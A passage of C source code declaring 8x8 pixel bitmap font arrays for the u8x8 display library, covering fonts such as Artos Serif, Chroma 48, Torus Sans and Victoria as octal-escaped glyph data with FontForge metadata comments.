"A\0\0\0\1\2\4\10\20 @\0\0\0\0AA\177\0\0\0\4\2\1\2\4\0\0\200\200\200\200" "\200\200\200\200"; /* Fontname: -FontForge-Artos Serif-Medium-R-Normal--8-80-75-75-M-80-ISO8859-1 Copyright: (null) Glyphs: 95/95 BBX Build Mode: 3 */ const uint8_t u8x8_font_artosserif8_r[764] U8X8_FONT_SECTION("u8x8_font_artosserif8_r") = " ~\1\1\0\0\0\0\0\0\0\0\0\0\0_\0\0\0\0\0\3\0\0\0\3\0\0\0\42\177\42" "\42\177\42\0\0$*k*\22\0\0B%\22\10$R!\0\0 VIIU\42P\0\0\0\0" "\3\0\0\0\0\0\34\42A\0\0\0\0\0\0A\42\34\0\0\0\0\12\4\37\4\12\0\0\10\10>" "\10\10\0\0\0\0\0@\60\0\0\0\0\10\10\10\10\10\10\0\0\0\0@\0\0\0\0@ \20\10" "\4\2\1\0\0>AAA>\0\0\0@B\177@@\0\0\0bQIIF\0\0\0\42AI" "I\66\0\0\0\34\22Q\177P\0\0\0'EEE\71\0\0\0>III\62\0\0\0\1\1y" "\5\3\0\0\0\66III\66\0\0\0&III>\0\0\0\0\0\22\0\0\0\0\0\0\0 " "\22\0\0\0\0\0\10\24\42A\0\0\0\24\24\24\24\24\24\0\0\0\0A\42\24\10\0\0\2\1Y" "\11\6\0\0\0A\177IIIAc\0A\177I\11\11\1\3\0\34\42AA" "II:\0A\177I\10I\177A\0\0\0A\177A\0\0\0 @@@A\77\1\0A\177I\10" "UcA\0A\177A@@@`\0A\177E\10E\177A\0A\177E\10Q\177A\0\0>AA" "AA>\0A\177Q\21\21\21\16\0\0>AAaA\276\0A\177I\11\11Iv@&III" "II\62\0\3\1A\177A\1\3\0\1\77A@A\77\1\0\1\17\61@\61\17\1\0\1\177!\34" "!\177\1\0AcU\10UcA\0\1\7IpI\7\1\0CaQIECa\0\0\0\177A" "A\0\0\0\1\2\4\10\20 @\0\0\0\0AA\177\0\0\0\4\2\1\2\4\0\0\200\200\200\200" "\200\200\200\200\0\0\0\1\2\0\0\0\0 TTTx\0\0\0\177DDD\70\0\0\0\70DD" "D(\0\0\0\70DDD\177\0\0\0\70TTTH\0\0\0\0\4~\5\1\0\0\0\30\244\244" "\244|\0\0\0\177\4\4\4x\0\0\0\0D}@\0\0\0\0@\200\200\204}\0\0\0\177\20\20" "(D\0\0\0\0A\177@\0\0\0\0|\4x\4x\0\0\0|\10\4\4x\0\0\0\70DD" "D\70\0\0\0\374DDD\70\0\0\0\70DDD\374\0\0\0|\10\4\4\4\0\0\0HTT" "T$\0\0\0\0\4\77D@\0\0\0<@@@|\0\0\0\34 @ \34\0\0\0<@\60" "@<\0\0\0D(\20(D\0\0\0\34\240\240\240|\0\0\0DdTLD\0\0\0\0\10\66" "A\0\0\0\0\0\0\377\0\0\0\0\0\0\0A\66\10\0\0\10\4\4\10\20\20\10"; /* Fontname: -FontForge-Artos Serif-Medium-R-Normal--8-80-75-75-M-80-ISO8859-1 Copyright: (null) Glyphs: 18/95 BBX Build Mode: 3 */ const uint8_t u8x8_font_artosserif8_n[220] U8X8_FONT_SECTION("u8x8_font_artosserif8_n") = " :\1\1\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\24\10>\10\24\0\0\20\20|" "\20\20\0\0\0\0\0\200`\0\0\0\0\20\20\20\20\20\20\0\0\0\0\200\0\0\0\0\200@ \20" "\10\4\2\0\0|\202\202\202|\0\0\0\200\204\376\200\200\0\0\0\304\242\222\222\214\0\0\0D\202\222" "\222l\0\0\0\70$\242\376\240\0\0\0N\212\212\212r\0\0\0|\222\222\222d\0\0\0\2\2\362" "\12\6\0\0\0l\222\222\222l\0\0\0L\222\222\222|\0\0\0\0\0$\0\0\0"; /* Fontname: -FontForge-Artos Serif-Medium-R-Normal--8-80-75-75-M-80-ISO8859-1 Copyright: (null) Glyphs: 64/95 BBX Build Mode: 3 */ const uint8_t u8x8_font_artosserif8_u[517] U8X8_FONT_SECTION("u8x8_font_artosserif8_u") = " _\1\1\0\0\0\0\0\0\0\0\0\0\0_\0\0\0\0\0\3\0\0\0\3\0\0\0\42\177\42" "\42\177\42\0\0$*k*\22\0\0B%\22\10$R!\0\0 VIIU\42P\0\0\0\0" "\3\0\0\0\0\0\34\42A\0\0\0\0\0\0A\42\34\0\0\0\0\12\4\37\4\12\0\0\10\10>" "\10\10\0\0\0\0\0@\60\0\0\0\0\10\10\10\10\10\10\0\0\0\0@\0\0\0\0@ \20\10" "\4\2\1\0\0>AAA>\0\0\0@B\177@@\0\0\0bQIIF\0\0\0\42AI" "I\66\0\0\0\34\22Q\177P\0\0\0'EEE\71\0\0\0>III\62\0\0\0\1\1y" "\5\3\0\0\0\66III\66\0\0\0&III>\0\0\0\0\0\22\0\0\0\0\0\0\0 " "\22\0\0\0\0\0\10\24\42A\0\0\0\24\24\24\24\24\24\0\0\0\0A\42\24\10\0\0\2\1Y" "\11\6\0\0\0A\177IIIAc\0A\177I\11\11\1\3\0\34\42AA" "II:\0A\177I\10I\177A\0\0\0A\177A\0\0\0 @@@A\77\1\0A\177I\10" "UcA\0A\177A@@@`\0A\177E\10E\177A\0A\177E\10Q\177A\0\0>AA" "AA>\0A\177Q\21\21\21\16\0\0>AAaA\276\0A\177I\11\11Iv@&III" "II\62\0\3\1A\177A\1\3\0\1\77A@A\77\1\0\1\17\61@\61\17\1\0\1\177!\34" "!\177\1\0AcU\10UcA\0\1\7IpI\7\1\0CaQIECa\0\0\0\177A" "A\0\0\0\1\2\4\10\20 @\0\0\0\0AA\177\0\0\0\4\2\1\2\4\0\0\200\200\200\200" "\200\200\200\200"; /* Fontname: -FontForge-Chroma 48-Medium-R-Normal-Sans-8-80-75-75-P-50-ISO10646-1 Copyright: (null) Glyphs: 96/98 BBX Build Mode: 3 */ const uint8_t u8x8_font_chroma48medium8_r[772] U8X8_FONT_SECTION("u8x8_font_chroma48medium8_r") = " \177\1\1\0\0\0\0\0\0\0\0\0\0\0^\0\0\0\0\0\0\6\0\0\6\0\0\0$~$" "$~$\0\0$k**k\22\0\0F&\20\10db\0\0\64JJT P\0\0\0\0\0" "\6\0\0\0\0\0\0\34*\0\0\0\10\10>" "\10\10\0\0\0\0@\60\0\0\0\0\0\10\10\10\10\10\10\0\0\0\0@\0\0\0\0\0@ \20" "\10\4\2\0\0\0\0~\10\10" "\10\24b\0\0~@@@@@\0\0~\4\10\10\4~\0\0~\4\10\20 ~\0\0@@@@>\0\0\36 @@ \36\0\0~ \20" "\20 ~\0\0B$\30\30$B\0\0\2\4x\4\2\0\0\0BbRJFB\0\0\0~B" "B\0\0\0\0\2\4\10\20 @\0\0\0\0BB~\0\0\0\0\0\4\2\4\0\0\200\200\200\200" "\200\200\200\200\0\0\0\2\4\0\0\0\0 TTTx\0\0\0~HHH\60\0\0\0\70DD" "D(\0\0\0\60HHH~\0\0\0\70TTTH\0\0\0\0\10|\12\2\0\0\0\30\244\244" "\244|\0\0\0~\10\10\10p\0\0\0\0Hz@\0\0\0\0@\200\200\210z\0\0\0~\20\20" "(D\0\0\0\0B~@\0\0\0\0|\4x\4x\0\0\0|\4\4\4x\0\0\0\70DD" "D\70\0\0\0\374DDD\70\0\0\0\70DDD\374\0\0\0|\10\4\4\4\0\0\0HTT" "T$\0\0\0\0\4>D\0\0\0\0<@@ |\0\0\0\34 @ \34\0\0\0\34`\34" "`\34\0\0\0D(\20(D\0\0\0\34\240\240\240|\0\0\0DdTLD\0\0\0\0\10\66" "A\0\0\0\0\0\0\377\0\0\0\0\0\0A\66\10\0\0\0\10\4\4\10\20\20\10\0\0\0\0\0" "\0\0\0"; /* Fontname: -FontForge-Chroma 48-Medium-R-Normal-Sans-8-80-75-75-P-50-ISO10646-1 Copyright: (null) Glyphs: 18/98 BBX Build Mode: 3 */ const uint8_t u8x8_font_chroma48medium8_n[220] U8X8_FONT_SECTION("u8x8_font_chroma48medium8_n") = " :\1\1\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0T\70|\70T\0\0\0\20\20|" "\20\20\0\0\0\0\200`\0\0\0\0\0\20\20\20\20\20\20\0\0\0\0\200\0\0\0\0\0\200@ " "\20\10\4\0\0x\304\244\224\214x\0\0\200\210\374\200\200\0\0\0\310\244\244\244\244\230\0\0H\204\224" "\224\224h\0\0pHDD\374@\0\0\134\224\224\224\224d\0\0x\224\224\224\224`\0\0\4\4\304" "$\24\14\0\0h\224\224\224\224h\0\0\30\244\244\244\244x\0\0\0\0H\0\0\0"; /* Fontname: -FontForge-Chroma 48-Medium-R-Normal-Sans-8-80-75-75-P-50-ISO10646-1 Copyright: (null) Glyphs: 64/98 BBX Build Mode: 3 */ const uint8_t u8x8_font_chroma48medium8_u[517] U8X8_FONT_SECTION("u8x8_font_chroma48medium8_u") = " _\1\1\0\0\0\0\0\0\0\0\0\0\0^\0\0\0\0\0\0\6\0\0\6\0\0\0$~$" "$~$\0\0$k**k\22\0\0F&\20\10db\0\0\64JJT P\0\0\0\0\0" "\6\0\0\0\0\0\0\34*\0\0\0\10\10>" "\10\10\0\0\0\0@\60\0\0\0\0\0\10\10\10\10\10\10\0\0\0\0@\0\0\0\0\0@ \20" "\10\4\2\0\0\0\0~\10\10" "\10\24b\0\0~@@@@@\0\0~\4\10\10\4~\0\0~\4\10\20 ~\0\0@@@@>\0\0\36 @@ \36\0\0~ \20" "\20 ~\0\0B$\30\30$B\0\0\2\4x\4\2\0\0\0BbRJFB\0\0\0~B" "B\0\0\0\0\2\4\10\20 @\0\0\0\0BB~\0\0\0\0\0\4\2\4\0\0\200\200\200\200" "\200\200\200\200"; /* Fontname: -FontForge-Saikyo Sans-Medium-R-Normal-Sans-8-80-75-75-P-50-ISO10646-1 Copyright: (null) Glyphs: 18/72 BBX Build Mode: 3 */ const uint8_t u8x8_font_saikyosansbold8_n[220] U8X8_FONT_SECTION("u8x8_font_saikyosansbold8_n") = " :\1\1\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\10*>\34>*\10\0\0\20\20|" "|\20\20\0\0\0\200\340`\0\0\0\0\20\20\20\20\20\20\0\0\0\0\300\300\0\0\0\0\300`\60" "\30\14\6\0|\376\202\202\202\376|\0\0\200\204\376\376\200\200\0\304\346\262\222\222\236\214\0D\306\222\222" "\222\376l\0\70<&\42\376\376 \0N\316\212\212\212\372r\0|\376\222\222\222\366d\0\6\6\2\362" "\372\16\6\0l\376\222\222\222\376l\0L\336\222\222\222\376|\0\0\0\0ll\0\0"; /* Fontname: -FontForge-Saikyo Sans-Medium-R-Normal-Sans-8-80-75-75-P-50-ISO10646-1 Copyright: (null) Glyphs: 64/72 BBX Build Mode: 3 */ const uint8_t u8x8_font_saikyosansbold8_u[517] U8X8_FONT_SECTION("u8x8_font_saikyosansbold8_u") = " _\1\1\0\0\0\0\0\0\0\0\0\0\0__\0\0\0\0\7\7\0\0\7\7\0\0\42\177\177" "\42\177\177\42$.*k*:\22\0Ff\60\30\14fb\0 v_I\77vP\0\0\0\0\7" "\7\0\0\0\0\0\34>cA\0\0\0\0Ac>\34\0\0\4\25\37\16\37\25\4\0\0\10\10>" ">\10\10\0\0\0@p\60\0\0\0\0\10\10\10\10\10\10\0\0\0\0``\0\0\0\0`\60\30" "\14\6\3\0>\177AAA\177>\0\0@B\177\177@@\0bsYIIOF\0\42cII" "I\177\66\0\34\36\23\21\177\177\20\0'gEEE}\71\0>\177III{\62\0\3\3\1y" "}\7\3\0\66\177III\177\66\0&oIII\177>\0\0\0\0\66\66\0\0\0\0\0@v" "\66\0\0\0\0\0\10\34\66cA\0\0\24\24\24\24\24\24\0\0\0Ac\66\34\10\0\0\2\1Y" "Y\17\6\0\177AA" "Ac\42\0\177\177AAA\177>\0\177\177IIIIA\0\177\177\11\11\11\1\1\0>\177AA" "I{:\0\177\177\10\10\10\177\177\0\0\0\0\177\177\0\0\0 `@@@\177\77\0\177\177\10\34" "\66cA\0\177\177@@@@@\0\177\177\6\14\6\177\177\0\177\177\6\14\30\177\177\0>\177AA" "A\177>\0\177\177\21\21\21\37\16\0>\177AAA\377\276\0\177\177\21\21\21\177n\0&oII" "I{\62\0\0\1\1\177\177\1\1\0\77\177@@@\177\77\0\17\37\60`\60\37\17\0\177\177\60\34" "\60\177\177\0cw\34\10\34wc\0\0\7\17xx\17\7\0aqy]OGC\0\0\0\177\177" "AA\0\0\0\3\6\14\30\60`\0\0\0AA\177\177\0\0\0\0\14\6\3\6\14\0\200\200\200\200" "\200\200\200\200"; /* Fontname: -FontForge-Torus Sans-Medium-R-Normal-Sans-8-80-75-75-P-50-ISO10646-1 Copyright: (null) Glyphs: 96/170 BBX Build Mode: 3 */ const uint8_t u8x8_font_torussansbold8_r[772] U8X8_FONT_SECTION("u8x8_font_torussansbold8_r") = " \177\1\1\0\0\0\0\0\0\0\0\0\0\0__\0\0\0\0\3\7\0\0\7\3\0\0\42\177\177" "\42\177\177\42\0$.kk:\22\0\0c\63\30\14fc\0\0 vOY\67fP\0\0\0\7" "\3\0\0\0\0\0\34>cA\0\0\0\0Ac>\34\0\0\0\0\12\4\37\4\12\0\0\0\10\10" ">\10\10\0\0\0\0p\60\0\0\0\0\10\10\10\10\10\10\0\0\0\0``\0\0\0\0`\60\30" "\14\6\3\0\0>\177AA\177>\0\0@B\177\177@@\0\0bqYIOF\0\0\42AI" "I\177\66\0\0\34\36Q\177\177P\0\0'GEE}\71\0\0>\177IIy\62\0\0\1\1y" "}\7\3\0\0\66\177II\177\66\0\0&OII\177>\0\0\0\0\66\66\0\0\0\0\0\0v" "\66\0\0\0\0\0\10\34\66cA\0\0\24\24\24\24\24\24\0\0\0Ac\66\34\10\0\0\2\1Y" "Y\17\6\0\177A" "AA\42\0\0\177\177AA\177>\0\0\177\177IIAA\0\0\177\177\11\11\1\1\0\0>\177A" "Iy:\0\0\177\177\10\10\177\177\0\0\0A\177\177A\0\0\0 @@@\177\77\0\0\177\177\10" "\34wc\0\0\177\177@@@@\0\177\6\14\30\14\6\177\177\177\7\16\34\70p\177\0\0>\177A" "A\177>\0\0\177\177\21\21\37\16\0\0>\177AA\377\276\0\0\177\177\11\11\177v\0\0&OI" "Iy\62\0\0\1\1\177\177\1\1\0\0\77\177@@\177\77\0\0\177\177@@\77\37\0\177\177@\177" "@\77\37\0\0w\177\10\10\177w\0\0\7\17xx\17\7\0\0aqYMGC\0\0\0\177\177" "AA\0\0\0\3\6\14\30\60`\0\0\0AA\177\177\0\0\0\0\14\6\3\6\14\0\200\200\200\200" "\200\200\200\200\0\0\0\1\3\2\0\0\0 tTT|x\0\0\177\177DD|\70\0\0\70|D" "DD(\0\0\70|DD\177\177\0\0\70|TT\134H\0\0\0\4~\177\5\1\0\0\30\274\244" "\244\374|\0\0\177\177\4\4|x\0\0\0D}}@\0\0\0\0@\200\204\375}\0\0\177\177\20" "\70lD\0\0\0\0\1\177\177\0\0||\4|\4|x\0\0||\4\4|x\0\0\70|D" "D|\70\0\0\374\374DD|\70\0\0\70|DD\374\374\0\0||\10\4\4\4\0\0H\134T" "Tt$\0\0\0\4\77\177D\0\0\0<|@@||\0\0||@@<\34\0||@|" "@<\34\0\0l|\20\20|l\0\0\34\274\240\240\374|\0\0Ddt\134LD\0\0\0\10>" "wA\0\0\0\0\0\377\377\0\0\0\0\0Aw>\10\0\0\0\10\14\4\10\20\30\10\0\0\0\0" "\0\0\0"; /* Fontname: -FontForge-Torus Sans-Medium-R-Normal-Sans-8-80-75-75-P-50-ISO10646-1 Copyright: (null) Glyphs: 18/170 BBX Build Mode: 3 */ const uint8_t u8x8_font_torussansbold8_n[220] U8X8_FONT_SECTION("u8x8_font_torussansbold8_n") = " :\1\1\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\24\10>\10\24\0\0\0\20\20" "|\20\20\0\0\0\0\340`\0\0\0\0\20\20\20\20\20\20\0\0\0\0\300\300\0\0\0\0\300`\60" "\30\14\6\0\0|\376\202\202\376|\0\0\200\204\376\376\200\200\0\0\304\342\262\222\236\214\0\0D\202\222" "\222\376l\0\0\70<\242\376\376\240\0\0N\216\212\212\372r\0\0|\376\222\222\362d\0\0\2\2\362" "\372\16\6\0\0l\376\222\222\376l\0\0L\236\222\222\376|\0\0\0\0ll\0\0"; /* Fontname: -FontForge-Torus Sans-Medium-R-Normal-Sans-8-80-75-75-P-50-ISO10646-1 Copyright: (null) Glyphs: 64/170 BBX Build Mode: 3 */ const uint8_t u8x8_font_torussansbold8_u[517] U8X8_FONT_SECTION("u8x8_font_torussansbold8_u") = " _\1\1\0\0\0\0\0\0\0\0\0\0\0__\0\0\0\0\3\7\0\0\7\3\0\0\42\177\177" "\42\177\177\42\0$.kk:\22\0\0c\63\30\14fc\0\0 vOY\67fP\0\0\0\7" "\3\0\0\0\0\0\34>cA\0\0\0\0Ac>\34\0\0\0\0\12\4\37\4\12\0\0\0\10\10" ">\10\10\0\0\0\0p\60\0\0\0\0\10\10\10\10\10\10\0\0\0\0``\0\0\0\0`\60\30" "\14\6\3\0\0>\177AA\177>\0\0@B\177\177@@\0\0bqYIOF\0\0\42AI" "I\177\66\0\0\34\36Q\177\177P\0\0'GEE}\71\0\0>\177IIy\62\0\0\1\1y" "}\7\3\0\0\66\177II\177\66\0\0&OII\177>\0\0\0\0\66\66\0\0\0\0\0\0v" "\66\0\0\0\0\0\10\34\66cA\0\0\24\24\24\24\24\24\0\0\0Ac\66\34\10\0\0\2\1Y" "Y\17\6\0\177A" "AA\42\0\0\177\177AA\177>\0\0\177\177IIAA\0\0\177\177\11\11\1\1\0\0>\177A" "Iy:\0\0\177\177\10\10\177\177\0\0\0A\177\177A\0\0\0 @@@\177\77\0\0\177\177\10" "\34wc\0\0\177\177@@@@\0\177\6\14\30\14\6\177\177\177\7\16\34\70p\177\0\0>\177A" "A\177>\0\0\177\177\21\21\37\16\0\0>\177AA\377\276\0\0\177\177\11\11\177v\0\0&OI" "Iy\62\0\0\1\1\177\177\1\1\0\0\77\177@@\177\77\0\0\177\177@@\77\37\0\177\177@\177" "@\77\37\0\0w\177\10\10\177w\0\0\7\17xx\17\7\0\0aqYMGC\0\0\0\177\177" "AA\0\0\0\3\6\14\30\60`\0\0\0AA\177\177\0\0\0\0\14\6\3\6\14\0\200\200\200\200" "\200\200\200\200"; /* Fontname: -FontForge-Victoria-Bold-R-Normal-Sans-8-80-75-75-P-50-ISO10646-1 Copyright: (null) Glyphs: 96/98 BBX Build Mode: 3 */ const uint8_t u8x8_font_victoriabold8_r[772] U8X8_FONT_SECTION("u8x8_font_victoriabold8_r") = " \177\1\1\0\0\0\0\0\0\0\0\0\0\0__\0\0\0\0\7\7\0\0\7\7\0\0\42\177\177" "\42\177\177\42\0$.kk:\22\0\0c\63\30\14fc\0\0 v_I\177vP\0\0\0\7" "\7\0\0\0\0\0\34>cA\0\0\0\0Ac>\34\0\0\4\25\37\16\37\25\4\0\0\0\10\10" ">\10\10\0\0\0@p\60\0\0\0\0\10\10\10\10\10\10\0\0\0\0``\0\0\0\0`\60\30" "\14\6\3\0\0>\177AA\177>\0\0@B\177\177@@\0\0bsYIOF\0\0\42cI" "I\177\66\0\0\34\36S\177\177P\0\0'gEE}\71\0\0>\177II{\62\0\0\1\1y" "}\7\3\0\0\66\177II\177\66\0\0&oII\177>\0\0\0\0\66\66\0\0\0\0\0\0v" "\66\0\0\0\0\0\10\34\66cA\0\0\24\24\24\24\24\24\0\0\0Ac\66\34\10\0\0\2\1Y" "Y\17\6\0\177A" "Ac\42\0\0\177\177AA\177>\0\0\177\177IIAA\0\0\177\177\11\11\1\1\0\0>\177A" "I{:\0\0\177\177\10\10\177\177\0\0\0A\177\177A\0\0\0 `@@\177\77\0\0\177\177\34" "\66cA\0\0\177\177@@@@\0\177\177\6\14\6\177\177\0\0\177\177\14\30\177\177\0\0>\177A" "A\177>\0\0\177\177\11\11\17\6\0\0>\177AA\377\276\0\0\177\177\31\71oF\0\0&oI" "I{\62\0\0\1\1\177\177\1\1\0\0\77\177@@\177\77\0\0\37\77``\77\37\0\177\177\60\30" "\60\177\177\0\0cw\34\34wc\0\0\7\17xx\17\7\0\0aqYMGC\0\0\0\177\177" "AA\0\0\0\3\6\14\30\60`\0\0\0AA\177\177\0\0\0\0\14\6\3\6\14\0\200\200\200\200" "\200\200\200\200\0\0\0\1\3\2\0\0\0 tTT|x\0\0\177\177DD|\70\0\0\70|D" "Dl(\0\0\70|DD\177\177\0\0\70|TT\134H\0\0\0\4~\177\5\1\0\0\30\274\244" "\244\374|\0\0\177\177\4\4|x\0\0\0D}}@\0\0\0@\300\200\204\375}\0\0\177\177\20" "\70lD\0\0\0\0A\177\177@\0||\14x\14|x\0\0||\4\4|x\0\0\70|D" "D|\70\0\0\374\374DD|\70\0\0\70|DD\374\374\0\0||\10\4\4\4\0\0H\134T" "Tt$\0\0\0\4\77\177D\0\0\0<|@@||\0\0\34<``<\34\0\34|p<" "p|\34\0\0Dl\70\70lD\0\0\34\274\240\240\374|\0\0Ddt\134LD\0\0\0\10>" "wA\0\0\0\0\0\377\377\0\0\0\0\0Aw>\10\0\0\0\10\14\4\10\20\30\10\0\0\0\0" "\0\0\0"; /* Fontname: -FontForge-Victoria-Bold-R-Normal-Sans-8-80-75-75-P-50-ISO10646-1 Copyright: (null) Glyphs: 18/98 BBX Build Mode: 3 */ const uint8_t u8x8_font_victoriabold8_n[220] U8X8_FONT_SECTION("u8x8_font_victoriabold8_n") = " :\1\1\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\10*>\34>*\10\0\0\0\20\20" "|\20\20\0\0\0\200\340`\0\0\0\0\20\20\20\20\20\20\0\0\0\0\300\300\0\0\0\0\300`\60" "\30\14\6\0\0|\376\202\202\376|\0\0\200\204\376\376\200\200\0\0\304\346\262\222\236\214\0\0D\306\222" "\222\376l\0\0\70<\246\376\376\240\0\0N\316\212\212\372r\0\0|\376\222\222\366d\0\0\2\2\362" "\372\16\6\0\0l\376\222\222\376l\0\0L\336\222\222\376|\0\0\0\0ll\0\0"; /* Fontname: -FontForge-Victoria-Bold-R-Normal-Sans-8-80-75-75-P-50-ISO10646-1 Copyright: (null) Glyphs: 64/98 BBX Build Mode: 3 */ const uint8_t u8x8_font_victoriabold8_u[517] U8X8_FONT_SECTION("u8x8_font_victoriabold8_u") = " _\1\1\0\0\0\0\0\0\0\0\0\0\0__\0\0\0\0\7\7\0\0\7\7\0\0\42\177\177" "\42\177\177\42\0$.kk:\22\0\0c\63\30\14fc\0\0 v_I\177vP\0\0\0\7" "\7\0\0\0\0\0\34>cA\0\0\0\0Ac>\34\0\0\4\25\37\16\37\25\4\0\0\0\10\10" ">\10\10\0\0\0@p\60\0\0\0\0\10\10\10\10\10\10\0\0\0\0``\0\0\0\0`\60\30" "\14\6\3\0\0>\177AA\177>\0\0@B\177\177@@\0\0bsYIOF\0\0\42cI" "I\177\66\0\0\34\36S\177\177P\0\0'gEE}\71\0\0>\177II{\62\0\0\1\1y" "}\7\3\0\0\66\177II\177\66\0\0&oII\177>\0\0\0\0\66\66\0\0\0\0\0\0v" "\66\0\0\0\0\0\10\34\66cA\0\0\24\24\24\24\24\24\0\0\0Ac\66\34\10\0\0\2\1Y" "Y\17\6\0\177A" "Ac\42\0\0\177\177AA\177>\0\0\177\177IIAA\0\0\177\177\11\11\1\1\0\0>\177A" "I{:\0\0\177\177\10\10\177\177\0\0\0A\177\177A\0\0\0 `@@\177\77\0\0\177\177\34" "\66cA\0\0\177\177@@@@\0\177\177\6\14\6\177\177\0\0\177\177\14\30\177\177\0\0>\177A" "A\177>\0\0\177\177\11\11\17\6\0\0>\177AA\377\276\0\0\177\177\31\71oF\0\0&oI" "I{\62\0\0\1\1\177\177\1\1\0\0\77\177@@\177\77\0\0\37\77``\77\37\0\177\177\60\30" "\60\177\177\0\0cw\34\34wc\0\0\7\17xx\17\7\0\0aqYMGC\0\0\0\177\177" "AA\0\0\0\3\6\14\30\60`\0\0\0AA\177\177\0\0\0\0\14\6\3\6\14\0\200\200\200\200" "\200\200\200\200"; /* Fontname: -FontForge-Victoria-Medium-R-Normal-Sans-8-80-75-75-P-50-ISO10646-1 Copyright: (null) Glyphs: 96/98 BBX Build Mode: 3 */ const uint8_t u8x8_font_victoriamedium8_r[772] U8X8_FONT_SECTION("u8x8_font_victoriamedium8_r") = " \177\1\1\0\0\0\0\0\0\0\0\0\0\0_\0\0\0\0\0\7\0\0\0\7\0\0\0\42\177\42" "\42\177\42\0\0$*k*\22\0\0\0\42\20\10\4\42\0\0 VIIV P\0\0\0\0\7" "\0\0\0\0\0\0\34\42A\0\0\0\0\0A\42\34\0\0\0\0*\34\177\34*\0\0\0\10\10>" "\10\10\0\0\0\0@\60\0\0\0\0\0\10\10\10\10\10\10\0\0\0\0``\0\0\0\0@ \20" "\10\4\2\0\0>QIE>\0\0\0@B\177@@\0\0\0bQIIF\0\0\0\42AI" "I\66\0\0\0\34\22Q\177P\0\0\0'EEE\71\0\0\0AA" "A\42\0\0\0\177AAA>\0\0\0\177IIAA\0\0\0\177\11\11\11\1\0\0\0>AA" "I:\0\0\0\177\10\10\10\177\0\0\0\0A\177A\0\0\0\0 @@@\77\0\0\0\177\10\24" "\42A\0\0\0\177@@@@\0\0\0\177\2\4\2\177\0\0\0\177\4\10\20\177\0\0\0>AA" "A>\0\0\0\177\11\11\11\6\0\0\0>AaA\276\0\0\0\177\11\31)F\0\0\0&II" "I\62\0\0\0\1\1\177\1\1\0\0\0\77@@@\77\0\0\0\37 @ \37\0\0\0\177 \20" " \177\0\0\0c\24\10\24c\0\0\0\7\10p\10\7\0\0\0aQIEC\0\0\0\0\177A" "A\0\0\0\0\2\4\10\20 @\0\0\0\0AA\177\0\0\0\0\4\2\1\2\4\0\200\200\200\200" "\200\200\200\200\0\0\0\1\2\0\0\0\0 TTTx\0\0\0\177DDD\70\0\0\0\70DD" "D(\0\0\0\70DDD\177\0\0\0\70TTTH\0\0\0\0\4~\5\5\0\0\0\30\244\244" "\244|\0\0\0\177\4\4\4x\0\0\0\0D}@\0\0\0\0@\200\200\204}\0\0\0\177\20\20" "(D\0\0\0\0A\177@\0\0\0\0|\4x\4x\0\0\0|\4\4\4x\0\0\0\70DD" "D\70\0\0\0\374DDD\70\0\0\0\70DDD\374\0\0\0|\10\4\4\4\0\0\0HTT" "T$\0\0\0\0\4\77D\0\0\0\0<@@ |\0\0\0\34 @ \34\0\0\0\34`\34" "`\34\0\0\0D(\20(D\0\0\0\34\240\240\240|\0\0\0DdTLD\0\0\0\0\10\66" "A\0\0\0\0\0\0\377\0\0\0\0\0\0A\66\10\0\0\0\10\4\4\10\20\20\10\0\0\0\0\0" "\0\0\0"; /* Fontname: -FontForge-Victoria-Medium-R-Normal-Sans-8-80-75-75-P-50-ISO10646-1 Copyright: (null) Glyphs: 18/98 BBX Build Mode: 3 */ const uint8_t u8x8_font_victoriamedium8_n[220] U8X8_FONT_SECTION("u8x8_font_victoriamedium8_n") = " :\1\1\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0T\70\376\70T\0\0\0\20\20|" "\20\20\0\0\0\0\200`\0\0\0\0\0\20\20\20\20\20\20\0\0\0\0\300\300\0\0\0\0\200@ " "\20\10\4\0\0|\242\222\212|\0\0\0\200\204\376\200\200\0\0\0\304\242\222\222\214\0\0\0D\202\222" "\222l\0\0\0\70$\242\376\240\0\0\0N\212\212\212r\0\0\0x\224\222\222`\0\0\0\2\2\362" "\12\6\0\0\0l\222\222\222l\0\0\0\14\222\222R<\0\0\0\0\0$\0\0\0"; /* Fontname: -FontForge-Victoria-Medium-R-Normal-Sans-8-80-75-75-P-50-ISO10646-1 Copyright: (null) Glyphs: 64/98 BBX Build Mode: 3 */ const uint8_t u8x8_font_victoriamedium8_u[517] U8X8_FONT_SECTION("u8x8_font_victoriamedium8_u") = " _\1\1\0\0\0\0\0\0\0\0\0\0\0_\0\0\0\0\0\7\0\0\0\7\0\0\0\42\177\42" "\42\177\42\0\0$*k*\22\0\0\0\42\20\10\4\42\0\0 VIIV P\0\0\0\0\7" 